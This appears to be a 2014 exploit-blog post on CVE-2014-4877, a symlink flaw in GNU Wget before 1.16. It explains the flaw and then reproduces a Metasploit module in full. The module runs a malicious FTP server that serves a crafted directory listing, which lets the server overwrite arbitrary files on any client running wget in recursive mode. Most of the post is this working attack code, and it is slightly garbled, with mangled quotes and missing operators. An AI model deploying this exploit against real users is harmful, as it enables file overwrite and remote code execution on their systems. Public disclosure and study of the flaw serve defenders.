Subscribe via feed.

[remote exploits] -GNU Wget FTP Symlink Arbitrary Filesystem Access Exploit

Posted by deepquest on November 1, 2014 – 4:21 pm

GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP.  Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user’s filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.

Vulnerability

The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.

 

lrwxrwxrwx  1 root    root          33 Oct 28  2014 TARGET -> /

drwxrwxr-x  15 root    root        4096 Oct 28  2014 TARGET

 

Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user’s filesystem.

 

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::FtpServer
include Msf::Auxiliary::Report
def initialize
super(
‘Name’ => ‘GNU Wget FTP Symlink Arbitrary Filesystem Access’,
‘Description’ => %q{
This module exploits a vulnerability in Wget when used in
recursive (-r) mode with a FTP server as a destination. A
symlink is used to allow arbitrary writes to the target’s
filesystem. To specify content for the file, use the
“file:/path” syntax for the TARGET_DATA option.
Tested successfully with wget 1.14. Versions prior to 1.16
are presumed vulnerable.
},
‘Author’ => [‘hdm’],
‘License’ => MSF_LICENSE,
‘Actions’ => [[‘Service’]],
‘PassiveActions’ => [‘Service’],
‘References’ =>
[
[ ‘CVE’, ‘2014-4877’],
[ ‘URL’, ‘https://bugzilla.redhat.com/show_bug.cgi?id=1139181’ ],
[ ‘URL’, ‘https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access’ ]
],
‘DefaultAction’ => ‘Service’,
‘DisclosureDate’ => ‘Oct 27 2014’
)
register_options(
[
OptString.new(‘TARGET_FILE’, [ true, “The target file to overwrite”, ‘/tmp/pwned’ ]),
OptString.new(‘TARGET_DATA’, [ true, “The data to write to the target file”, ‘Hello from Metasploit’ ]),
OptPort.new(‘SRVPORT’, [ true, “The port for the malicious FTP server to listen on”, 2121])
], self.class)
@fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)
end
def run
my_address = Rex::Socket.source_address
print_good(“Targets should run: $ wget -m ftp://#{my_address}:#{datastore[‘SRVPORT’]}/”)
exploit()
end
def on_client_command_user(c,arg)
@state[c][:user] = arg
c.put “331 User name okay, need password…\r\n
end
def on_client_command_pass(c,arg)
@state[c][:pass] = arg
c.put “230 Login OK\r\n
@state[c][:auth] = true
print_status(#{@state[c][:name]} Logged in with user ‘#{@state[c][:user]}‘ and password ‘#{@state[c][:user]}‘…”)
end
def on_client_command_retr(c,arg)
print_status(#{@state[c][:name]} -> RETR #{arg})
if not @state[c][:auth]
c.put “500 Access denied\r\n
return
end
unless arg.index(::File.basename(datastore[‘TARGET_FILE’]))
c.put “550 File does not exist\r\n
return
end
conn = establish_data_connection(c)
if not conn
c.put(“425 Can’t build data connection\r\n)
return
end
c.put(“150 Opening BINARY mode data connection for #{arg}\r\n)
conn.put(datastore[‘TARGET_DATA’])
c.put(“226 Transfer complete.\r\n)
conn.close
print_good(#{@state[c][:name]} Hopefully wrote #{datastore[‘TARGET_DATA’].length} bytes to #{datastore[‘TARGET_FILE’]})
end
def on_client_command_list(c,arg)
print_status(#{@state[c][:name]} -> LIST #{arg})
if not @state[c][:auth]
c.put “500 Access denied\r\n
return
end
conn = establish_data_connection(c)
if not conn
c.put(“425 Can’t build data connection\r\n)
return
end
pwd = @state[c][:cwd]
buf = 
dstamp = Time.at(Time.now.to_i((3600*24*365)+(3600*24*(rand(365)+1)))).strftime(“%b %e %Y”)
unless pwd.index(@fakedir)
buf << “lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore[‘TARGET_FILE’])}\r\n
buf << “drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n
else
buf << “-rwx—— 1 root root #{“%9d” % datastore[‘TARGET_DATA’].length} #{dstamp} #{::File.basename(datastore[‘TARGET_FILE’])}\r\n
end
c.put(“150 Opening ASCII mode data connection for /bin/ls\r\n)
conn.put(“total #{buf.length}\r\n + buf)
c.put(“226 Transfer complete.\r\n)
conn.close
end
def on_client_command_size(c,arg)
if not @state[c][:auth]
c.put “500 Access denied\r\n
return
end
c.put(“213 #{datastore[‘TARGET_DATA’].length}\r\n)
end
def on_client_command_cwd(c,arg)
print_status(#{@state[c][:name]} -> CWD #{arg})
if not @state[c][:auth]
c.put “500 Access denied\r\n
return
end
upath = “/”
npath = ::File.join(@state[c][:cwd], arg)
bpath = npath[upath.length, npath.length  upath.length]
# Check for traversal above the root directory
if not (npath[0, upath.length] == upath or bpath == )
bpath = ‘/’
end
bpath = ‘/’ if bpath == 
@state[c][:cwd] = bpath
c.put “250 CWD command successful.\r\n
end
end

This post is under “exploit” and has no respond so far.
If you enjoy this article, make sure you subscribe to my RSS Feed.

Post a reply

You must be logged in to post a comment.